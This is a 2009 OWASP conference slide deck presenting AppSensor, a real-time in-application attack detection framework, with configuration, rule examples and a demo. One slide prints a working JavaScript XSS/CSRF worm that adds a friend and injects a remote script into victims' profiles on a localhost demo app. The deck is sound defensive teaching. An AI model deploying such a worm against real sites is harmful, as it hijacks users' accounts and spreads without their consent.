AppSensor: Real Time Defenses

Michael Coates
Global Membership Committee
AppSensor Project Lead

OWASP DC
November, 2009

Aspect Security
michael.coates@aspectsecurity.com
http://michael-coates.blogspot.com

The OWASP Foundation
http://www.owasp.org
Who am I?

- Senior Application Security Engineer @ Aspect Security
- Creator & Leader OWASP AppSensor
- Security Blogger
  - http://michael-coates.blogspot.com
- Life Outside Security?
  - Motorcycle, Triathlons
Agenda

■ AppSensor Project

■ Malicious Attackers
  ▸ Attacking online banks is easier
  ▸ Why we currently can’t catch them
  ▸ How to do it right

■ Application Worms
  ▸ Why are they bad
  ▸ Detecting and preventing in real time
  ▸ Demo system w/ real worm
Detecting Attacks the Right Way

■ Integration
  ▶ Detect INSIDE the application
  ▶ Understand business logic

■ Effectiveness
  ▶ Minimal false positives
  ▶ Immediate response

■ Effort
  ▶ Automatic detection
  ▶ No manual work required
Detection Outside The Application

- Application context not available
- No concept of access violations
- Custom application + Generic Solution != success

/webAccount?id=1002

/webAccount?id=1004

WAF

Application

No attacks here, please proceed
Inside The Application Is Best

- Understand application & business context
- Integration with authentication & user store

```
/viewAccount?id=1002
/viewAccount?id=1003
/viewAccount?id=1004
```

Functionality

![Diagram showing access control and authentication with AppSensor]
How Does AppSensor Protect The App?

Requests Needed for Attacker vs. AppSensor

Attacker: find vulnerability

AppSensor: determine user is malicious

# of malicious requests
AppSensor Faster Than Attacker

- User identified as malicious & blocked before vulnerability is found

Attacker: searching for vulnerability

![Diagram showing AppSensor Detecting Attacks and Blocks Attacker]

# of malicious requests

OWASP
Categories of Detection

- Request
- Authentication
- Access Control
- Session
- Input
- Encoding
- Command Injection
- File IO

- User Trend
- System Trend

ACE1: Modifying URL Arguments Within a GET For Direct Object Access Attempts

<table>
<thead>
<tr>
<th>Exception Type</th>
<th>Description</th>
<th>Considerations</th>
<th>Example(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>AccessControlException</td>
<td>The application is designed to use an identifier for a particular object, such as using categoryId=4 or user=guest within the URL. A user modifies this value in an attempt to access unauthorized information. This exception should be thrown anytime the identifier received from the user is not authorized due to the identifier being nonexistent or the identifier not authorized for that user.</td>
<td></td>
<td>The user modifies the following URL from site.com/viewpage?page=1&amp;user=guest to site.com/viewpage?page=22&amp;user=admin</td>
</tr>
</tbody>
</table>
Real Time Defenses Against

MALICIOUS ATTACKERS
Attack Detection: Real vs Cyber World

- Why do bank robbers get caught?

- Why don’t hackers get caught?
Robbing a Bank

Physical Controls
Electronic Monitoring
Human Monitoring
Instant Detection and Response
Controlled Access
Multi Factor Auth
Transaction Verification
Would You Bank Here?

- Ineffective Monitoring
- No Real Time Analysis
- Unnecessary Partner Trust
- Single Factor Auth
- Alternate Admin Access
- Partial External Controls
- Limited Security Training
- Limited Security Training
- Single Factor Auth
- Alternate Admin Access
- Partial External Controls
- Limited Security Training
- Single Factor Auth
- Alternate Admin Access
- Partial External Controls
- Limited Security Training
- Single Factor Auth
- Alternate Admin Access
- Partial External Controls
Let’s Change Things! Applications Should…

- Detect attacks
- Understand normal use vs. suspicious use
- Instantly identify attackers
- Shutdown attackers in real time
- Modify application accessibility for defense
Many malicious attacks are obvious and not “user error”
- POST when expecting GET
- Tampering with headers
- Submission of XSS attack
Detecting Malicious Users

- Bypassing client side input validation
- Transaction using functionality not visible to user role
- Multiple access control violations
- Change of user agent midsession
- Double encoded data
Proof of Concept Application

AppSensor Demo Application

Welcome foo
Login | Home | UpdateProfile | Friends | Search | Logout

Welcome Home
Your Current Status
Being very foo

Pending Friend Requests
bob wants to be your friend! [Accept?] [Reject!] Gone Fishing

Sent Requests awaiting response
Awaiting response from: Peter_Thomas_3827
Awaiting response from: Paul_Owen_1962
Awaiting response from: Tom_Thomas_1508
Detection Points

- **home.jsp**: RE4
- **updateProfile.jsp**: RE4, IE1, IE4
- **friends.jsp**: RE4
- **friendRequests.jsp**: RE4, 3 x ACE1
- **addFriend.jsp**: RE4
- **search.jsp**: RE4, IE1, RE3
The Code

- Leverages ESAPI!
- 3 lines to setup AppSensor
- 2 lines per AppSensor detection point
Setting up AppSensor

1. Configure response action object
   - Provides code for log, logout, account lock
2. Create AppSensorIntrusionDetector with response action object
3. Set ESAPI’s intrusion detector
Defining Response Policies

- ESAPI.properties file

- Define
  - Threshold count
  - Interval of events
  - Response action
  - Per exception type or aggregate

IntrusionDetector.Total.count=10
IntrusionDetector.Total.interval=86400
IntrusionDetector.Total.actions=log,logout,disable

IntrusionDetector.ACE2.count=3
IntrusionDetector.ACE2.interval=3600
IntrusionDetector.ACE2.actions=log,logout,disable
2 Lines To Use AppSensor

1. Check for “maliciousness”
2. Create new AppSensorException

```java
//check if referenced ID is a valid user
if (UserManager.getNameFromID(profileID) == null) {
    //create Intrusion Exception
    new AppSensorIntrusionException(request.getServletPath(),
        "ACE1", user,"User Message ACE",
        "Direct object tampering with Parameter ID to attempt to add a non-existent ID");
}
```
Understanding the Intrusion Exception

```java
new AppSensorIntrusionException(
    request.getServletPath(),
    "ACE1",
    "User Message",
    "Direct object tampering with ..."
);
```

```java
new AppSensorIntrusionException(request.getServletPath(),
    "ACE1", user,"User Message",
    "Direct object tampering with Parameter ID to attempt to add a non-existent ID");
```
AppSensor vs Scanners

- Tools attempt 10,000s of generic attacks
- AppSensor stops automated scans nearly instantly
AppSensor vs Human Attackers

- Very difficult for attacker
- Requires advanced obfuscation for each attack
- Multiple probes == detection
Real Time Defenses Against

APPLICATION WORMS
Application Worms On The Rise

■ Twitter Worm
  ‣ Free advertising, job for creator
  ‣ Numerous copy cat worms

■ MySpace Samy Worm
  ‣ Lots of friends for Samy
  ‣ ...then MySpace goes down

■ Huge damages for site:
  ‣ Remediation
  ‣ Cleanup
  ‣ Bad PR
  ‣ Infected Users

■ Leverage XSS and CSRF

Dude, www.StalkDaily.com is awesome. What's the fuss?
Detecting/Preventing an Application Worm

- Can you find / fix all XSS?
- Pattern matching easily foiled
- Block the common factor!
  - Worms use XSS and CSRF for propagation
  - 1000% usage increase → problem
  - Our example:
    (updateProfile, updateStatus, updateName)
Case Study: Samy

- MySpace Application Worm
- XSS worm embedded in User Profile
  - Added Samy as friend
  - Infected viewer’s profile with XSS
- Exponential Growth of Samy’s friends
  - 10 hours – 560 friends,
  - 13 hours – 6400 friends,
  - 18 hours – 1,000,000 friends,
  - 19 hours – site down for repair
Samy vs AppSensor

- AppSensor detects uptick in addFriend usage
- Compares against trended info
- Automatic response initiated
  - Alerts Admin +200% Add Friend Usage
  - Alerts Admin 2nd time +500% Add Friend Usage
  - Automatically shuts down Add Friend Feature

Result:
- Worm Contained,
- Add Friend Temporarily Disabled,
- Site Stays Up
Benefits of Trend Monitoring

- Detection of
  - Application worms,
  - Scripted attacks / probing,
  - CSRF attacks
- Alerting of excessive activity
- Selective feature shutdown for overall stability
AppSensor in Action

- Demo Social Networking App
- Defended with AppSensor Trend Monitoring

![AppSensor Demo Application](image-url)
What’s Under the Hood?

- REST communication between AppSensor & App
- Support Response Actions:
  - Warn user, logout user, disable user, etc

Application → Log Server → AppSensor Brain
Response Listener ←
AppSensor Brain

- Drools - Rule Based System
- Support for complex rule sets – much more than just counting feature usage
- Evaluates objects in Drools memory

```
rule "Trend Monitor 2"
when
  $t2 : TrendMonitor(utilization > 10)
then
  System.out.println("Trend Alert: >10 utilization=" + $t2.getUtilization() + " "+$t2.getResource());
  ResponseAction.disableService($t2.getResource(),40,"s");
end
```
The Exploit

- XSS infects victim’s “Status” with worm
- CSRF adds victim as friend of Charlie

The WORM

```javascript
var img='&lt;img src=&quot;https://localhost:8443/AppSensorDemo/addFriend.jsp?profileID=555&quot;&gt;';

document.write("I am a worm "+img);
if(document.URL!='https://localhost:8443/AppSensorDemo/updateProfile.jsp'){
    xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST", "https://localhost:8443/AppSensorDemo/UpdateProfile", true);
    xmlHttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8' );
    var attackstr='&lt;script src=https://localhost:8443/AppSensorDemo/badsite/worm.js&gt;&lt;/script&gt;';
    sdata="status="+attackstr+"&profile=wormed";
    xmlHttp.send(sdata);
    xmlDoc=xmlHttp.responseText;
}
document.close();
```
The Target

Update Your Info

Status: 
Profile: 

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends | Search | Logout |

Friends
Add a Friend

Friend: sue  Status: Gone Fishing
Friend: Fred Parker 6555  Status: Swimming
Friend: Paul Adams 8196  Status: Totally lost
Friend: Angie Thomas 5340  Status: Running
Friend: Peter Chen 7428  Status: Sleeping
Friend: Peter Lee 8910  Status: Looking at bears
Friend: Peter Adams 4110  Status: At work
Friend: George Cook 6293  Status: Reading a book
Attck Set

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends | Search | Logout |

UserName
charlie

Status
I am a worm

Profile

Charlie is “patient zero”

XSS to propagate

CSRF to add friend
First Victim - “Molly”

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends | Search | Logout |

Add a Friend
Potential Friend
User: charlie
User: Liz Adams 9824
User: Tom Owen 7985
User: Tom Jones 847
User: Peter Jones 7772
User: Peter Jones 259
User: Paul Orwell 8146
User: Mary Thomas 7634
User: George Adams 1827
User: Fred Smith 3527
User: Peter Parker 642
User: Mary Lee 6466
User: bob
User: Mary Thomas 9777
User: Jules Lee 939
User: Anola Owen 6610

Status
I am a worm
Running
Running
Evading police
Going Fishing
Evading police
Running
Sleeping
Sleeping
Evading police
Swimming
Going Fishing
Gone Fishing
Sleeping
Running
At work

Worm Fires
Inspect the HTTP Traffic

- Message 24
  - Molly opens addFriends page

- Message 26
  - Worm `<img>` tag adds Charlie as friend

- Message 27
  - Worm updates Molly’s status with malicious code

- Message 28
  - Redirection from successful profile update
Molly Infected

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends

Welcome Home
Your Current Status
I am a worm

Pending Friend Requests
Sent Requests awaiting response
Awaiting response from: charlie

Worm Spreads

CSRF Success
Friends Accumulate for Charlie!

AppSensor Demo Application

Not Logged in
Login | Home | UpdateProfile | Friends | Search | Logout

Welcome Home
Your Current Status
I am a worm

Pending Friend Requests

charlie wants to be your friend! [Accept?] [Reject!]
I am a worm

molly wants to be your friend! [Accept?] [Reject!]
I am a worm

sue wants to be your friend! [Accept?] [Reject!]
I am a worm

foo wants to be your friend! [Accept?] [Reject!]
I am a worm

bob wants to be your friend! [Accept?] [Reject!]
I am a worm

Sent Requests awaiting response
Done
Defend with AppSensor

- AppSensor Policy
  - Notify Admin if events > 5
  - Disable Service if events > 10

- AppSensor notices anomaly – alerts admin

**Trend Alert:** Trend greater than 5 - utilization=7
/AppSensorDemo/UpdateProfile
ResponseAction: **Sending Email Alert** to:admin@site.com re: Service
/AppSensorDemo/UpdateProfile

**Trend Alert:** Trend greater than 5 - utilization=6
/AppSensorDemo/addFriend.jsp
ResponseAction: **Sending Email Alert** to:admin@site.com re: Service
/AppSensorDemo/addFriend.jsp
Defend with AppSensor

- Anomaly continues – disable service

**Trend Alert:** Trend greater than 10 - utilization=11
/AppSensorDemo/addFriend.jsp
ResponseAction: **Disabling Service**

**Trend Alert:** Trend greater than 10 - utilization=11
/AppSensorDemo/UpdateProfile
ResponseAction: **Disabling Service**
AppSensor Defends App

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends | Search | Logout |

Disabled by AppSensor

The page you've requested has been temporarily disabled by AppSensor.

Service will return in 39 seconds
Current Time: 20090427202847
ReActivate Time: 20090427202886

App Server Logs
AppSensorServiceController: :/AppSensorDemo/addFriend.jsp active:false
AppSensorServiceController: Skipping Check for /AppSensorDemo/appsensor_locked.jsp
AppSensorServiceController: Disable Service:/AppSensorDemo/updateProfile.jsp for 40 s
AppSensorServiceController: service disabled, checking time
Users are Protected from Worm

-----Validating Login of sue-----
AppSensorServiceController: :/AppSensorDemo/friends.jsp active:true
AppSensorServiceController: :/AppSensorDemo/addFriend.jsp active:false
  Not Active, redirecting to locked page
AppSensorServiceController: :/AppSensorDemo/UpdateProfile active:false
  Not Active, redirecting to locked page

Worm Still Fires

Worm Still Fires
Worm Contained, Site Stays Up

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends | Search | Logout |

Search Page
Search: [Input Field]
Submit

AppSensor Demo Application

Logged in
Login | Home | UpdateProfile | Friends | Search | Logout |

Friends
Add a Friend
Friend
Friend: charlie
Friend: Tom Adams 5047
Friend: Britney Adams 8031
Friend: Peter Chen 8729
Status
I am a worm
Going Fishing
Running
At work
Trend Monitoring Benefits

- Auto detection of attacks
- Automatic worm containment
- Maintain overall site availability
- Insight to scripted traffic / attack probing
Future Plans for AppSensor

- Release Attack Detection App
- Updated AppSensor Book
- Merge into ESAPI
Questions?

michael.coates@aspectsecurity.com

http://michael-coates.blogspot.com